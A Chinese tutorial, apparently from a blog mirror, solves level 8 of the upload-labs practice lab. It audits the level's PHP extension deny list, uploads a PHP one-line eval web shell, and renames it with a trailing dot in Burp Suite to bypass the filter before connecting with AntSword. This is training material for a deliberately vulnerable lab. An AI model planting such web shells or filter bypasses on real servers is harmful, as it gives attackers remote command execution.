当前位置: 首页 > news >正文

upload-labs第八关教程

upload-labs第八关教程

  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 点绕过
      • 上传eval.php
      • 使用burp suite进行抓包修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

细看的话可以发现相对于之前的那些关卡少了对点过滤的操作,所以是不是可以考虑使用点进行绕过?

二、绕过分析

点绕过

上传eval.php

<?php @eval($_POST['cmd']); ?>

使用burp suite进行抓包修改

修改之前:
在这里插入图片描述这里的filename为eval.php

修改之后:
在这里插入图片描述这里的filename为eval.php. ,这里使用点是因为没有进行过滤,再者就是在windows系统下面它会自动删除点。

放包,查看是否上传成功

在这里插入图片描述
上传成功。

使用中国蚁剑进行连接

复制这里的url进行连接
在这里插入图片描述使用中国蚁剑进行连接:
在这里插入图片描述
连接成功。


如果有问题的话,可以私信我。

http://www.lryc.cn/news/373842.html

相关文章:

  • 平板消解加热台-温度均匀,防腐蚀-实验室化学分析
  • Ubuntu基础-vim编辑器
  • Java 网站开发入门指南:如何用java写一个网站
  • Armbian OS(基于ubuntu24) 源码编译mysql 5.7
  • React+TS前台项目实战(六)-- 全局常用组件Button封装
  • Vite支持的React项目使用SASS指南
  • 实验12 路由重分布
  • version-manager最好用的SDK版本管理器,v0.6.2发布
  • MFC工控项目实例之三theApp变量传递对话框参数
  • C# OpenCvSharp 图像处理函数-图像拼接-hconcat、vconcat、Stitcher
  • 软件方案评审与模块优化:从FOC模块出发的电控平台建设
  • emoji_call_read
  • 一键自动粘贴,高效处理邮箱地址,让你的工作效率翻倍提升!
  • 【Java】Java 使用 Graphics2D 在图片上添加文字,并解决图片变红问题
  • 初识docker插件
  • springboot整合redis以及使用
  • ARM32开发--电源管理单元
  • Android Studio项目升级报错:Namespace not specified
  • 渗透测试nginx增加400,500报错页面
  • OpenCV读取和显示和保存图像
  • 【面经总结】Java集合 - Map
  • CompletableFuture方法介绍及代码示例
  • 基于springboot的宠物商城网站
  • DM存储ontap系统修改管理IP
  • Web前端商业素材:挖掘价值,释放创意的无限可能
  • LeetCode206-反转链表
  • 5000天后的世界
  • Photoshop中颜色与色调的调整
  • 【退役之重学Java】终结篇,暂别 Java !
  • 查找——顺序查找和折半查找